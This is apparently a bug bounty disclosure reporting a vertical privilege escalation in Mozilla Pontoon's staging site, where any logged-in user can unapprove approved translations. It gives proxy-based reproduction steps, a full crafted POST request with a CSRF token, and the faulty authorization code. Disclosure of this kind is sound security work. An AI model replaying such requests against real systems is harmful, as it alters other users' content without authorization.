[Vertical Privilege Escalation] User can Unapproved any Approved Translation at [/translations/unapprove/]

How it was found

Hi, team. During testing, I discovered that only privileged users or translation owners can unapprove an approved translation, but due to logical errors, any logged-in user can unapprove any approved translation.

Steps To Reproduce:

• Go to https://mozilla-pontoon-staging.herokuapp.com/ and log in to your account.

• Click on Teams and select any team from the menu.

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• Now, from the next menu, select any project and then select any resource you want.

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• After that, you will have a list of strings that you can translate.

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• Select any string and you will see an already approved translation with green tick symbol.

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• You can check that you can't unapprove that translation because you don't have the required privileges.

• Now, prepare your proxy to capture requests and reload that page.

• In proxy history, you will see a request to the/get-history/ endpoint. Like this one.

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• In response to that request, you will find the approved translation ID. Copy that.

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• Now replace the session cookies, Anti-CSRF token, and Translation ID in this request and send this request.

POST /translations/unapprove/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/nl/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: ZhBI0LAYVXMG0ZNaUkqXMClUDquhZsfC8o1AlKRQTdTeJ4SCBXLDyi7aw0bWBBxx
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 52
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

translation=5184479&paths%5B%5D=LC_MESSAGES%2Famo.po

• You will see 200 OK response.

• Reload the page, and you will see that the translation has been unapproved by a non-privileged user.

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• This is the code snippet responsible for the bug. https://github.com/mozilla/pontoon/blob/main/pontoon/translations/views.py#L361

   # Only privileged users or authors can un-approve translations
    if not (
        request.user.can_translate(locale, project)
        or request.user == translation.user
        or translation.approved
    ):
        return JsonResponse(
            {
                "status": False,
                "message": "Forbidden: You can't unapprove this translation.",
            },
            status=403,
        )

    translation.unapprove(request.user)

• Here the developer checks if translation.approved then if statement has been bypassed and translation get unapproved.

Impact

The user can perform actions that he is not authorized to do.